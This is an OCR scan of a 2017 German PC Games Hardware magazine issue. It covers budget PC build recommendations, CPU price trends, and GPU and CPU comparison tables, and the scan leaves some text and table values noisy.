außerdem vor, Leserbriefe zu kürzen. 


® Abos online bestellen: 
www.pcgh.de/shop 


JP PCGH als Digitalausgabe: | 
pcgh.de/digital-ausgabe 


Ð Einzelheft bestellen: 
www.pcgh.de/heft 
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Worte des Monats 


„Microsoft lässt Schüler in einem abgeriegel- 
ten OS stranden, auf dem Anwendungen, die 
sie zum Lernen brauchen, nicht laufen.” 


Tim Sweeney, Gründer von Epic Games — er kritisiert Windows 10 S, das Microsoft für den Bil- 
dungsbereich bewirbt und ausschlieBlich Anwendungen aus dem Windows Store unterstützt. 


Bild des Monats 


Rossis Restekiste 


Socken 


Jeder braucht Socken und alle nutzen gerne vernetzte Geráte. Daraus haben findige Ge- 
scháftemacher geschlossen, dass der Markt nach vernetzten Socken schreit. Die Strümpfe, 
welche in jeder Farbe lieferbar sind, solange es Schwarz ist, verfügen über einen Kommu- 
nikationsknopf und kónnen so mit dem iPhone in Verbindung treten, wozu auch immer 
das gut sein sollte. Unter anderem kann so der Waschzyklus überwacht werden, was sehr Е d 3 
praktisch ist, wenn man sich nicht mehr daran zu schnuppern traut. Sinnvoller wäre ein Ein Screenshot-Leak aus Read Dead Redemption 2? Darüber spekulierten Spieler bis 
GPS-Sensor, der endlich das Mysterium der verschwundenen Socke klären könnte. zur Ankündigung von Wild West Online, welches 2017 PC-exklusiv erscheinen soll. 
www.blacksocks.com Diskussion: http://gtaforums.com/topic/887052-something-interesting/ 
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Projekt-PCs: Einsteiger 


In jeder Ausgabe stellt PC Games Hardware zwei Beispielkonfigurationen zusammen, an denen Sie 


sich orientieren können, um einen eigenen PC zu bauen. 


\ X Jit befinden uns mal wieder in 

einer Zeit, in der Hardware- 
Empfehlungen schwierig 
sind. Im Rahmen der Computex 


Ende Mai soll Skylake-X auf der High- 
End-Plattform LGA 2066 vorgestellt 


relativ 


sen, dürfte die Vorstellung schon 
erfolgt sein). Broadwell-E auf dem 
Sockel 2011-v3 gehórt damit zum al- 
ten Eisen. Ebenso steht Coffee Lake- 
S mit einer voraussichtlichen Veróf- 
fentlichung im kommenden August 


ne den Einzug in den Mainstream 
halten sollen. Aus diesem Grund 
haben wir uns diese Ausgabe ein 
weiteres Mal für Einsteigerkonfigu- 
rationen für sparsame Spieler ent- 
schieden. Im Bereich von unter 500 


G4560 mit zwei Kernen plus SMT 
(vier Threads) unschlagbar. Für un- 
ter 750 Euro ist AMDs Ryzen 5 1400 
vor allem deshalb interessant, weil 
eine übertaktungsfähige Plattform 
mit B350-Mainboard vergleichswei- 


werden (wenn Sie diese Zeilen le- vor der Tür, womit sechs Intel-Ker- Euro ist weiterhin Intels Pentium se günstig zu haben ist. (mm) 


Maximal 500 Euro 


Hersteller und Produkt 

Intel Pentium G4560 

Boxed 

Sapphire Radeon RX 560 Pulse 4G 

MSI Radeon GTX 1050 Aero ITX 
Mainboard Gigabyte GA-B250-HD3P 
Arbeitsspeicher G.Skill Ripjaws V, 2 x 4 GiB, DDR4-2133 
SSD Sandisk Plus 120 GB €55,- SSD Samsung SSD 850 Evo 250 GB € 90,- 
Netzteil Be quiet Pure Power 10 400 W € 50,- Netzteil Cougar LX 500 W €65,- 


Gesamtpreis (ab) € 435,- Gesamtpreis (ab) € 715,- 


Pentium G4560 Ryzen 5 1400 

Mit Intels Pentium G4560 macht man Der Ryzen 5 1400 ist aktuell AMDs 
im Bereich von weit unter 100 Euro günstigster Zen-Vertreter für den 
nichts falsch. Seit der Kaby-Lake-S- о - Desktop. Der Basistakt ist mit 3,2 GHz 
Generation bleibt SMT aktiviert, sodass ip tad zwar nicht allzu hoch, lásst sich dank 
Spiele deutlich besser laufen, die vier say 35007 offenem Multiplikator aber auf einem 
Threads nutzen. Einen Core i3 braucht m B350-Mainboard anheben. Wer 3,5 
es nicht mehr. AMD hat in diesem Be- GHz oder mehr anstrebt, sollte über ei- 
reich zurzeit nur Excavator als Gegen- nen größeren CPU-Kühler nachdenken 
spieler im Angebot. (s. unten) oder gleichzeitig undervolten. 


Maximal 750 Euro 


Hersteller und Produkt 

AMD Ryzen 5 1400 

Wraith Stealth (Boxed) 

Sapphire Radeon RX 570 Pulse IT 

KFA2 Geforce GTX 1060 3GB OC 

Asus B350-Plus Prime 

Kingston Hyperx Fury, 2x 8 GiB, DDR4-2400 


Preis 
€ 165,- 


Preis 
€ 60,- 


Komponente Komponente 


Prozessor 
CPU-Kühler 
Grafikkarte (AMD) 
Grafikkarte (Nvidia) 
Mainboard 


Arbeitsspeicher 


Prozessor 
CPU-Kühler 
Grafikkarte (AMD) 
Grafikkarte (Nvidia) 


€ 120,- 
= UE 
€ 90,- 
EE 


< se 
€ 180,- 

€ 90,- 
© Bu. 


AMD arzen 5 nët 


anon 


AYZEN 


Radeon RX 560 

Für gut 100 Euro bietet AMD die Radeon 
RX 560 an, die im Gegensatz zur RX 460 
einen vollen Polaris 21 nutzt. Die Roh- 
leistung steigt dadurch deutlich an, wo- 
mit sie sich für gängige , E-Sports-Titel" 
in 1080p eignet. Aufwendigere Spiele 
laufen nicht mit maximalen Details. Nvi- 
dias Alternative, die Geforce GTX 1050, 
hat nur halb so viel Grafikspeicher. 


Radeon RX 570 

m Bereich von unter 200 Euro haben 
Káufer die Wahl zwischen einer Radeon 
RX 570 und einer GTX 1060 3GB. Erste- 
re hat 1 GiByte mehr Speicher, Letztere 
äuft effizienter. Am Ende könnte die Ver- 
ügbarkeit die entscheidene Rolle spie- 
en, denn AMDs RX-500-Serie war zum 
Redaktionsschluss noch recht schlecht 
ieferbar. 


Bild: Sapphire 


Alternativ-Komponenten 


I Geforce GT 1030 oder Radeon RX 550, um auf unter 400 Euro 
zu kommen 


I Gebrauchte Radeon RX 470 oder RX 460 


Alternativ-Komponenten 
I Ryzen 5 1500X für mehr Leistung ohne OC 


V EKL Alpenfóhn Ben Nevis oder Thermalright True Spirit 140 Direct 
für größere OC-Ambitionen bei geringer Lautstärke 
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Preisentwicklung und Kauftipps 


Ryzen & Core i5- 
7600K günstiger 


Im Bereich von 230 bis 350 Euro purzeln die Prozes- 
sorpreise. AMDs Ryzen 7 1700 und Ryzen 5 1600X 
werden stetig günstiger und auch im Falle des 
Core i5-7600K können Preissenkungen verzeichnet 
werden. Knapp 240 Euro kostet der übertaktbare 
Vierkerner ohne SMT noch, wohingegen alle ande- 
ren Kaby-Lake-S-CPUs auf ihren gewohnten Preis- 
niveaus verweilen. 


eit den Veröffentlichungen von Ryzen 7 und 
SS. 5 im März beziehungsweise April pen- 
deln sich die Preise nach unten ein. Bis zum Re- 
daktionsschluss war die Tendenz sinkend. Das ist 
vor allem im Bereich von unter 300 Euro wichtig, 
wo die deutschen Händler Intels US-Preisemp- 
fehlungen teils deutlich unterschreiten. Ganz 
unbeeindruckt zeigen sich Intel beziehungswei- 


| PIPN ' 
PUNI 
SU) 


Einkaufsführer 


www.pcgh.de/einkaufsfuehrer 


se die Hàndler aber nicht von Ryzen, zu sehen 
am beliebten Vierkerner Core i5-7600K. 


Preisentwicklung Intel Core i5-7600K 


Zum Jahresanfang kostete die Intel-CPU noch 
260 bis 280 Euro, woraufhin sie kurz vor der Ry- 
zen-7-Veróffentlichung auf 250 Euro herabfiel. 
Das ist in etwa das Niveau des Vorgängers Core 
i5-6600K. Später wurde der Preis dauerhaft 
auf rund 240 Euro gesenkt, inzwischen ist der 
15-7600K für knapp 230 Euro zu haben. Das ist 
der einzige Fall, bei dem eine aktuelle Intel-CPU 
deutlich günstiger geworden ist, seitdem AMD 
seine Ryzen-Prozessoren anbietet. 


AMDs Ryzen 5 1600X ist die beliebteste CPU im 
PCGH-Online-Preisvergleich. Zu Beginn kostete 


Preis in Euro 


285 
280 
215 
270 
265 
260 
255 
250 
245 
240 
235 
230 
225 


\ 280 Euro 
// 228Euro 
04.2017 > 05.2017 


Zeit 


sie noch 280 Euro, fiel bis Mitte Mai aber auf 


255 und schließlich auf knapp 250 Euro. Da- 
mit macht sie vor allem dem genannten Core 


Preisentwicklung AMD Ryzen 5 1600X 


15-7600K gehörig Konkurrenz. Aber auch eine 
Leistungsklasse darüber bewegt sich noch et- 
was: Der Ryzen 7 1700 ist bei den ersten Напа- 
lern für unter 315 Euro erhältlich und kostet da- 
mit nur noch unwesentlich mehr als Intels Core 
17-7700, bietet dafür aber doppelt so viele Kerne 
und Threads bei ähnlicher Leistung pro Takt. 
Dank offenem Multiplikator handelt es sich zu- 
sammen mit dem Ryzen 5 1600 (ca. 215 Euro) 
um einen Spartipp. Stärkere Reaktionen seitens 
Intel wird es wohl erst mit der nàchsten Gene- 
ration Coffee Lake-S geben, die mit bis zu sechs 
Kernen zum August hin erwartet wird. (mm) 
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ELITE ERPREIS-LEISTUNGS-TIPP 


CELME ERSPAR-TIPP 


Neue Noten mit dieser Ausgabe (Titan Xp als Leistungsmesslatte) 


Nvidia Geforce Circa- Grafik- 3D-Taktung Verbrauch Länge/ А Benötigte Lautheit Test in PCGH-Preisvergleich 

Preis | speicher (GPU-Boost/RAM) |(2D/3D/Ernstfall) | (Slot-)Breite | Stromstecker | (2D/3D/Ernstfall) PCGH 
MSI GTX 1080 Ti Gaming X 11G €750,- | 11.264 МІВ | 1.810+/1.377 MHz | 15/280/283 Wa 27,8/4,5 cm | 2x 8-Po 0,0/1,9/1,9 Sone (1559 06/2017 | www.pcgh.de/preis/ 
Asus GTX 1080 Ti Strix OC (0116) | € 840,- | 11.264 МІВ | 1.823+/1.377 MHz | 16/276/277 Wa 30,0/4,6 cm | 2x 8-Po 0,0/2,2/2,2 Sone 1,60 06/2017 | www.pcgh.de/preis/ 587607 NEU. 
Gigabyte GTX 1080 Ti Aorus Xtr. Ed. | € 820,- | 11.264 MiB | 1.747+/1.404 MHz | 18/251/252 Wa 29,3/5,5 cm | 2x 8-Po 0,0/1,7/1,8 Sone 1,60 06/2017 | www.pcgh.de/preis/ 598560 NEU 
Zotac GTX 1080 Ti AMP! Extreme | € 870,- | 11.264 MiB | 1.898+/1.400 MHz | 16/319/326 Wa 31,0/5,3 cm | 2x 8-Po 0,0/3,6/3,6 Sone 1,61 06/2017 | www.pcgh.de/preis/ 593440 NEU 
Inno 3D GTX 1080 Ti iChill X3 Ultra | € 790,- | 11.264 MiB | 1.835+/1.426 MHz | 14/272/273 Wa 30,2/4,5 cm x 8-/1x 6-Pol | 0,0/1,8/1,8 Sone 1,63 06/2017 | www.pcgh.de/preis/1591 589 NEU 
Nvidia GTX 1080 Ti Founder's Ed. * | € 700,- | 11.264 MiB | 1.550+/1.377 MHz | 13/230/250 Wa 26,7/3,5 cm x 8-/1x 6-Pol | 0,4/4,0/4,4 Sone 1,79 05/2017 | www.pcgh.de/preis/1587602 
Zotac GTX 1080 AMP! Extreme €590,- | 8.192 MiB | 1.987+/1.350 MHz | 10/259/275 Wa 31,2/5,0 cm | 2x 8-Po 0,0/1,7/1,9 Sone 1,90 08/2016 | www.pcgh.de/preis/1449220 
Gainward GTX 1080 Phoenix СІН | € 550,- | 8.192 МІВ | 1.911+/1.315 MHz | 8/219/220 Watt 28,5/5,2 cm x 8-/1x 6-Pol | 0,0/1,5/1,5 Sone 1,92 08/2016 | www.pcgh.de/preis/1456253 
Palit GTX 1080 Game Rock Prem. | €560,- | 8.192 МІВ | 1.911+/1.315 MHz | 8/220/220 Watt 28,5/5,2 cm x 8-/1x 6-Pol | 0,0/1,5/1,5 Sone 1,94 08/2016 | www.pcgh.de/preis/1449283 
EVGA GTX 1080 FTW ACX 3.0 €570,- |8.192 MiB | 1.936+/1.251 MHz | 12/237/247 Wa 27,3]3,5 cm | 2x 8-Po 0,0/2,4/2,4 Sone 1,94 08/2016 | www.pcgh.de/preis/1449255 
MSI GTX 1080 Gaming X 8G €550,- |8.192 MiB | 1.8864/1.251 MHz | 13/235/245 Wa 27,713,5 cm x 8-/1x 6-Pol | 0,0/2,3/2,3 Sone 1,98 08/2016 | www.pcgh.de/preis/1449271 
Palit GTX 1070 Game Rock Prem. | €450,- | 8.192 MiB | 1.936+/4.253 MHz | 9/171/174 Watt 28,5/5,2 cm x 8-Po 0,0/0,8/0,8 Sone 2,13 08/2016 | www.pcgh.de/preis/1456802 
Zotac GTX 1070 AMP! Extreme €450,- | 8.192 MiB | 1.987+/4.104 MHz | 12/219/253 Wa 312/50 ст | 2x 8-Po 0,0/1,6/1,9 Sone 2,14 09/2016 | www.pcgh.de/preis/1456755 
Inno 3D GTX 1070 iChill ХЗ €430,- |8.192 MiB | 1.949+/4.104 MHz | 10/190/192 Wa 30,2/4,5 cm x 8-Po 0,0/1,5/1,5 Sone 2,18 09/2016 | www.pcgh.de/preis/1450744 ТТ 
Asus GTX 1070 Strix OC (08G) €440,- |8.192 MiB | 1.911+/4.007 MHz | 8/166/167 Watt 29,9/3,5 cm x 8-Po| 0,0/1,8/1,8 Sone 2,18 08/2016 | www.pcgh.de/preis/1450613 
MSI GTX 1070 Gaming X 8G €440,- |8.192 MiB | 1.924+/4.007 MHz | 11/208/208 Wa 21,7/3,5 cm x 8-/1x 6-Pol | 0,0/1,4/1,4 Sone 2,20 08/2016 | www.pcgh.de/preis/1456552 
EVGA GTX 1070 SC ACX 3.0 €430,- | 8.192 MiB | 1.7724/4.007 MHz |8/149/153 Watt 26,7/3,5 cm x 8-Po| 0,0/0,7/0,7 Sone 2,21 09/2016 | www.pcgh.de/preis/1456822 
Gigabyte GTX 1060 Xtr. Ed. 9Gbps | € 340,- | 6.144 МІВ | 1.974+/4.514 MHz | 12/148/149 Wa 28,0/5,5 cm x 8-Po| 0,0/1,1/1,1 Sone 2,50 07/2017 | www.pcgh.de/preis/ 613097 NEU ` 
Asus GTX 1060 Strix OC (06G) €320,- | 6.144 MiB | 1.987+/4.104 MHz | 8/145/145 Watt 30,0/3,5 cm x 8-Po 0,0/2,4/2,4 Sone 2,52 0/2016 | www.pcgh.de/preis/1478721 
Zotac GTX 1060 АМР!+ €280,- | 6.144 MiB | 1.860+/4.514 MHz | 9/121/121 Watt 21,2/3,4 cm x 6-Po 0,0/1,0/1,0 Sone 2,53 07/2017 | www.pcgh.de/preis/1605045 NEU 
MSI GTX 1060 Gaming X 6G €290,- | 6.144 MiB | 1.949+/4.007 MHz | 8/146/146 Watt 27,713,5 cm x 8-Po 0,0/0,7/0,7 Sone 2/53 0/2016 | www.pcgh.de/preis/1478791 
Asus GTX 1060 Strix 06G-9Gbps | €330,- | 6.144 MiB | 1.911+/4.514 MHz | 9/132/132 Watt 21,7/3,5 cm x 6-Po 0,0/1,4/1,4 Sone 2,54 07/2017 | www.pcgh.de/preis/ 612603 NEU. 
Zotac GTX 1060 AMP! €270,- | 6.144 MiB | 1.848+/4.007 MHz | 9/121/123 Watt 21,1/3,4 cm x 8-Po 0,0/1,0/1,0 Sone 2,56 0/2016 | www.pcgh.de/preis/ 478147 (TX 
Gigabyte GTX 1060 G1 Gaming €290,- | 6.144 MiB | 1.962+/4.007 MHz | 9/153/153 Watt 21,9/3,5 cm x 8-Po 0,0/2,4/2,4 Sone 2/57) 0/2016 | www.pcgh.de/preis/1479045 
Gainward GTX 1060 Phoenix GS €280,- | 6.144 MiB | 1.860+/4.007 MHz | 6/124/125 Watt 24,6/4,8 cm x 6-Po 0,0/1,4/1,4 Sone 2,59 0/2016 | www.pcgh.de/preis/1478764 
Palit GTX 1060 Super Jetstream € 280,- | 6.144 МІВ 1.860+/4.007 MHz | 6/123/125 Watt 24,8/4,8 cm x 6-Ро! 0,0/1,3/1,3 Sone 2,61 0/2016 | www.pcgh.de/preis/1478641 
EVGA GTX 1060 SC Gaming €260,- | 6.144 MiB | 1.898+/4.007 MHz | 6/122/125 Watt 18,2/3,5 cm x 6-Po| 0,0/2,5/2,5 Sone 2,64 0/2016 | www.pcgh.de/preis/1479077 
Asus GTX 1050 Ti Strix O4G € 165,- | 4.096 MiB | 1.797+/3.504 MHz | 8/76/92 Watt 24,1/3,5 cm x 6-Po| 0,0/0,8/0,9 Sone 2,92 01/2017 | www.pcgh.de/preis/1527166 
Gigabyte GTX 1050 Ti G1 Gaming | Є 165,- | 4.096 MiB | 1.645+/3.504 MHz | 8/67/68 Watt 22,0/3,5 cm x 6-Po| 0,0/0,3/0,3 Sone 2,95 01/2017 | www.pcgh.de/preis/1526013 
EVGA GTX 1050 Ti SC Gaming €160,- | 4.096 MiB | 1.557+/3.504 MHz | 6/56/59 Watt 15,2/3,5 cm 0,2/0,4/0,4 Sone 3,02 01/2017 | www.pcgh.de/preis/1525248 
Asus GTX 1050 Expedition Є 120,- | 2.048 MiB | 1.493+/3.504 MHz | 6/55/55 Watt 21,1/3,5 cm 0,0/0,5/0,5 Sone 3,21 01/2017 | www.pcgh.de/preis/1525209 
AMD Radeon S TRES Em 
AMD R9 Fury X ** €580,- | 4.096 MiB | 1.050/1.000 MHz 21/346/385 Wa 19,5/3,3 cm | 2x 8-Po| 1,3/1,6/1,6 Sone 2,52 09/2015 | www.pcgh.de/preis/1285788 
Sapphire RX 580 Nitro+ Limited Ed. | € 310,- | 8.192 MiB | 1.380+/4.000 MHz | 16/215/233 Wa 26,2/4,5 cm x 8-/1x 6-Pol | 0,0/1,5/1,7 Sone 2,61 07/2017. | www.pcgh.de/preis/1610153 NEU 
Asus R9 Fury Strix €490,- | 4.096 MiB | 970+/1.000 MHz 2/267/274 Wa 30,0/3,5 cm | 2x 8-Po 0,0/2,6/3,1 Sone 2,61 09/2015 | www.pcgh.de/preis/1296495 
Powercolor RX 580 Red Devil GS €290,- |8.192 MiB | 1.420+/4.000 MHz | 13/240/246 Wa 24,1/5,1 cm x 8-/1x 6-Pol | 0,0/1,9/2,5 Sone 2,62 07/2017 | www.pcgh.de/preis/ 609947 NEU 
Gigabyte RX 580 Aorus XTR 8G € 280,- | 8.192 MiB | 1.410+/4.000 MHz | 18/268/269 Wa 27,6/5,4 cm x 8-/1x 6-Pol | 0,0/2,1/2,1 Sone 2,63 07/2017 | www.pcgh.de/preis/ 610162 NEU 
MSI RX 580 Gaming X 8G €290,- | 8.192 MiB | 1.320+/4.000 MHz | 16/205/210 Wa 27,5/3,5 cm x 8-Po 0,0/2,0/2,3 Sone 2,64 07/2017 | www.pcgh.de/preis/ 609960 NEU 
Asus RX 580 Strix TOP (T8G) €320,- | 8.192 MiB | 1.405+/4.000 MHz | 14/222/226 Wa 30,0/4,5 cm x 8-Po 0,0/3,5/3,5 Sone 2,65 07/2017 | www.pcgh.de/preis/ 610032 NEU - 
MSI RX 480 Gaming X 8G €300,- | 8.192 MiB | 1.303/4.000 MHz 8/209/225 Wa 27,5/3,5 cm x 8-Po| 0,0/2,2/2,4 Sone 2,66 10/2016 | www.pcgh.de/preis/1473074 
Asus R9 Nano White €580,- | 4.096 MiB | 850+/1.000 MHz 14/198/205 Wa 15,3/3,5 cm x 8-Po| 0,8/2,9/2,9 Sone 2,66 06/2016 | www.pcgh.de/preis/1355032 
Sapphire RX 480 Nitro+ OC 8GB €290,- |8.192 MiB | 1.300+/4.000 MHz | 14/215/230 Wa 24,0/3,5 cm x 8-Po| 0,0/5,4/6,6 Sone 2,67 10/2016 | www.pcgh.de/preis/1477778 
Sapphire RX 570 Nitro+ 8GD5 €250,- | 8.192 MiB | 1.320+/3.500 MHz 5/202/221 Wa 26,0/3,8 cm x 8-/1x 6-Pol | 0,0/1,0/1,7 Sone 2,68 07/2017. | www.pcgh.de/preis/1610158- NEU 
Asus RX 480 Strix OC €320,- |8.192 MiB | 1.260+/4.000 MHz | 18/179/180 Wa 30,0/3,5 cm x 8-Po| 0,0/4,2/4,2 Sone 2,71 10/2016 | www.pcgh.de/preis/1479631 
Powercolor RX 480 Red Devil € 280,- | 8.192 MiB 1.190+/4.000 MHz 8/199/200 Wa 30,0/3,5 cm x 8-Pol 0,0/2,3/2,3 Sone 2,72 10/2016 | www.pcgh.de/preis/1480295 
Sapphire RX 480 Nitro-- 4D5 OC €270,- | 4.096 MiB | 1.306/3.500 MHz 4/207/220 Wa 24,0/3,5 cm x 8-Po 0,0/4,2/5,0 Sone 2,78 10/2016 | www.pcgh.de/preis/1477762 
Sapphire RX 470 Nitro-- 4D5 OC €250,- | 4.096 MiB | 1.220+/3.500 MHz 5/195/209 Wa 24,0/3,5 cm x 8-Po 0,0/2,5/2,7 Sone 2:79 01/2017 | www.pcgh.de/preis/1483308 
Asus RX 580 Dual 04G €250,- | 4.096 MiB | 1.2604/3.500 MHz | 14/181/185 Wa 24,1/3,5 cm x 8-Po 0,0/4,1/4,1 Sone 2,80 07/2017 | www.pcgh.de/preis/ 610054. NEU. 
Powercolor RX 570 Red Devil €220,- | 4.096 MiB | 1.320/3.500 MHz 3/225/260 Wa 30,0/3,5 cm x 8-Po 0,0/2,7/5,2 Sone 2,83 07/2017 | www.pcgh.de/preis/ 609990 NEU 
Sapphire RX 570 Pulse ITX €180,- | 4.096 MiB | 1.1304/3.500 MHz | 13/144/147 Wa 17,0/3,5 cm x 6-Po 0,0/0,9/1,2 Sone 2,91 07/2017 | www.pcgh.de/preis/1610160 41.1: Лл 
MSI RX 470 Gaming X 4G €250,- | 4.096 MiB | 1.242/3.300 MHz 6/188/222 Wa 27,5/3,5 cm x 8-Po 0,0/1,8/3,0 Sone 2,80 01/2017 | www.pcgh.de/preis/1488427 
Gigabyte RX 470 G1 Gaming 4G €250,- | 4.096 MiB | 1.230/3.300 MHz 22/184/185 Wa 23,4/3,5 cm x 8-Po| 0,0/2,4/2,4 Sone 2,85 01/2017 | www.pcgh.de/preis/1488416 
XFX RX 470 RS Black Edition €220,- | 4.096 MiB | 1.0804/3.500 MHz | 14/152/155 Wa 24,6/3,5 cm x 6-Po| 0,0/2,2/2,6 Sone 2,85 01/2017 | www.pcgh.de/preis/1488365 
Powercolor RX 470 Red Devil € 220,- | 4.096 MiB 1.125+/3.500 MHz | 17/174/182 Wa 24,0/3,5 cm x 8-Ро! 0,0/4,6/4,7 Sone 2,89 01/2017 | www.pcgh.de/preis/1488318 
Asus RX 470 Strix OC €210,- | 4.096 MiB | 1.0504/3.300 MHz | 16/146/151 Wa 24,2/3,5 cm x 6-Po| 0,0/3,2/3,6 Sone 2,90 01/2017 | www.pcgh.de/preis/1488369 
Asus RX 460 Strix 046 €135,- | 4.096 MiB | 1.225+/3.500 MHz | 9/98/105 Watt 19,5/3,5 cm x 6-Po 0,0/1,6/1,6 Sone 3,21 01/2017 | www.pcgh.de/preis/1490013 
* Beliebige Referenzkarte (Founder's Edition) — herstellerabhängig mit variierendem Zubehör. ** Beliebige Referenzkarte, bis auf die Beigaben sind alle gleich. Sapphire-Karten: Sofern verfügbar, wurde die Full-Retail-Version getestet. 
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Prozessoren 


CETTE TT PREIS-LEISTUNGS-TIPP. 


[EL FT SPAR-TIPP 


AMD-Prozessoren | Preis Leistung* Stromverbrauch** | Kerne | Grafik Basis-Takt Prozess | RAM (max.) | Sockel ЭТ PCG svergle 
AMD Ryzen 7 1800X | Са. € 490,- | 80,3 %/85,2 % | 28/326/264/182 8c/16t |- 3,6 GHz + Turbo | 14 пт | DDR4-2667 | АМА 1,82 | 05/2017 | www.pcgh.de/preis/1582191 
AMD Ryzen 7 1700X | Са. €380,- | 77,3 %/80,9 % | 28/315/256/169 8c/16t 3,4 GHz + Turbo |14пт | DDR4-2667 | АМА 1,90 | 05/2017 | www.pcgh.de/preis/1582190 
AMD Ryzen 7 1700 | Са. €315,- | 74,1 %/75,3 9o | 28/296/244/157 8c/16t 3,0 GHz + Turbo |14пт | DDR4-2667 | AM4 2,01 05/2017 | www.pcgh.de/preis/1582201 
AMD Ryzen 5 1600X | Ca. € 255,- | 78,7 %/69,6 % | 28/317/261/166 6c/12t 3,6 GHz + Tubo | 14 пт | DDR4-2667 | AMA 2,02 | 06/2017 | www.pcgh.de/preis/1604881 
ТИЗ” AMD Ryzen 5 1600 | Са. €210,- | 75,0 %/65,1 % | 30/303/252/149 6c/12t 3,2 GHz + Turbo | 14 пт | DDR4-2667 | AMA 2,36 | 07/2017 | www.pcgh.de/preis/1604879 
AMD Ryzen 5 1500X | Ca. € 190,- | 70,9 %/51,1 % | 28/275/244/137 4cl8t 3,5 GHz + Turbo |14пт | DDR4-2667 | AMA 2,13 | 06/2017 | www.pcgh.de/preis/1604878 
AMD Ryzen 5 1400 | Са. Є 165,- | 62,2 %/44,7 % | 29/258/232/126 4с/8ї 3,2 GHz + Turbo | 14 пт |DDR4-2667 | AM4 2,59 | 07/2017 | www.pcgh.de/preis/1604876 
AMD FX-9590 Са. Є 165,- | 59,4 %/46,2 % | 40/441/383/309 4m/8t 4,7 GHz + Turbo |32nm | DDR3-1866 | AM3+ 2,98 | 03/2016 | www.pcgh.de/preis/973468 
AMD FX-8370 Ca.€160- | 55,1 %/42,2 % | 39/359/318/227 4m/8t 4,0 GHz + Turbo |32nm | DDR3-1866 | AM3+ 3,04 -*** | www.pcgh.de/preis/1155953 
AMD FX-8350 Са. € 120,- | 54,6 %/42,0 % | 40/355/312/218 4m/8t 4,0 GHz + Turbo |32nm |DDR3-1866 | AM3+ 3,05 | 03/2016 | www.pcgh.de/preis/852989 
ПШ TD AMD FX-8300 Ca. € 95,- 49,5 %/36,3 % | 38/295/270/180 4m/8t |- 3,3 GHz + Turbo | 32 пт | DDR3-1866 | AM3+ 3,16 | 03/2017 | www.pcgh.de/preis/1156019 
AMD FX-6350 Ca. € 95,- 48,3 %/33,1 % | 40/316/285/190 3m/6t |- 3,9 GHz + Тиро | 32nm | DDR3-1866 | AM3+ 3,25 e www.pcgh.de/preis/939528 
AMD FX-6300 Ca. € 75,- 46,3 %/30,5 % | 40/287/272/174 3m/6t |- 3,5 GHz + Тиро | 32 nm | DDR3-1866 | AM3+ 3,31 ‚++ www.pcgh.de/preis/853168 
Intel-Prozessoren Preis Leistung* Stromverbrauch** | Kerne | Grafik Basis-Takt Prozess | RAM (max.) | Sockel ЭТ PCGH-Preisvergleich 
ntel Core i7-6950X | Ca. € 1.690,- | 100 %/100 % | 50/370/288/184 10c/20t | - 3,0 GHz + Turbo | 14 пт | DDR4-2400 | 2011-3 1,51 07/2016 | www.pcgh.de/preis/1394456 
ntel Core i7-7700K | Са. €350,- | 98,2 %/65,8 % | 19/320/275/145 4cd8t | HD 630 4,2 GHz + Turbo | 14 пт | DDR4-2400 | 1151 1,63 | 02/2017 | www.pcgh.de/preis/1551097 
ntel Core i7-6900K | Ca. € 1.090,- | 96,8 %/90,7 % | 50/349/291/186 8c/16t |- 3,2 GHz + Turbo |14пт | DDR4-2400 | 2011-3 1,69 | 07/2016 | www.pcgh.de/preis/1394462 
ntel Core i7-6700K | Ca. €325,- | 91,4 %/60,7 % | 21/302/256/126 4cd8t | HD 530 4,0 GHz + Turbo |14пт | DDR4-2133 |1151 1,78 | 03/2016 | www.pcgh.de/preis/1290371 
ntel Core i7-5775C | Са. €390,- | 95,6 %/54,7 % | 19/287/252/120 Ac/8t | Iris Pro 6200 | 3,3 GHz + Turbo | 14 nm | DDR3(L)-1600 | 1150 1,85 | 03/2016 | www.pcgh.de/preis/1275291 
ntel Core i7-5960X | Ca. € 1.125,- | 88,5 %/81,2 % | 49/364/286/202 8c/16t |- 3,0 GHz + Turbo |22nm | DDR4-2133 | 2011-3 1,95 | 03/2016 | www.pcgh.de/preis/1121089 
ntel Core i7-6800K | Са. Є 415,- | 89,3 %/70,2 % | 49/344/282/170 6c/12t |- 3,4 GHz + Turbo |14пт | DDR4-2400 | 2011-3 2,06 | 08/2016 | www.pcgh.de/preis/1394467 
ntel Core 17-5820К | Ca. € 400,- | 86,3 %/65,8 % | 46/340/278/176 6c/12t 3,3 GHz + Turbo | 22 пт | DDR4-2133 | 2011-3 2,15 | 03/2016 | www.pcgh.de/preis/1121100 
ntel Core 17-4790К | Ca. € 360,- | 81,6 %/57,1 % | 18/320/261/134 4d8 HD 4600 4,0 GHz + Turbo |22nm |DDR3-1600 | 1150 2,15 | 03/2016 | www.pcgh.de/preis/1119923 
ntel Core i5-7600K | Са. € 230,- | 76,8 %/47,9 % | 19/262/238/112 4/4 HD 630 3,8 GHz + Turbo | 14 пт | DDR4-2400 |1151 2,18 | 02/2017 | www.pcgh.de/preis/1551201 
ntel Xeon E3-1230 v5 | Ca. € 265,- | 79,5 %/54,4 % | 19/265/234/118 4/8 - 3,4 GHz + Turbo | 14 пт | DDR4-2133 | 1151 2,36 | 03/2016 | www.pcgh.de/preis/1343661 
ntel Core i5-5675C Ca. € 265,- 78,4 %/41,7 % | 17/245/228/107 4c/4 ris Pro 6200 | 3,1 GHz + Turbo | 14 nm | DDR3(L)-1600 | 1150 2,29 itm www.pcgh.de/preis/1275321 
ntel Core i5-6600K | Ca. € 225,- | 67,0 %/43,7 % | 22/245/225/109 4c/8 HD 530 3,5 GHz + Turbo | 14 пт | DDR4-2133 | 1151 2,42 | 03/2016 | www.pcgh.de/preis/1290376 
ntel Core i7-3770K Са. Є 370,- | 70,4 %/45,5 % | 25/267/235/123 4/8 НО 4600 3,5 GHz + Turbo | 22 пт | DDR3-1600 |1155 2,52 | 03/2016 | www.pcgh.de/preis/761779 
ntel Core 15-7500 Са. Є 195,- | 72,1 %/43,6 % | 18/242/224/99 4d4 HD 630 3,4 GHz + Turbo | 14 пт | DDR4-2400 | 1151 2,52 | 04/2017 | www.pcgh.de/preis/1554205 
ntel Core i3-7350K | Ca. € 160,- | 65,5 %/34,1 % | 19/230/218/108 2d4 HD 630 4,2 GHz 14 пт | DDR4-2400 | 1151 2,56 | 03/2017 | www.pcgh.de/preis/1557508 
ntel Core i5-7400 Ca. € 175,- | 67,6 %/40,5 % | 18/232/216/94 4/4 НО 630 3,0 GHz + Turbo | 14 пт | DDR4-2400 | 1151 2,63 | 04/2017 | www.pcgh.de/preis/1553204 
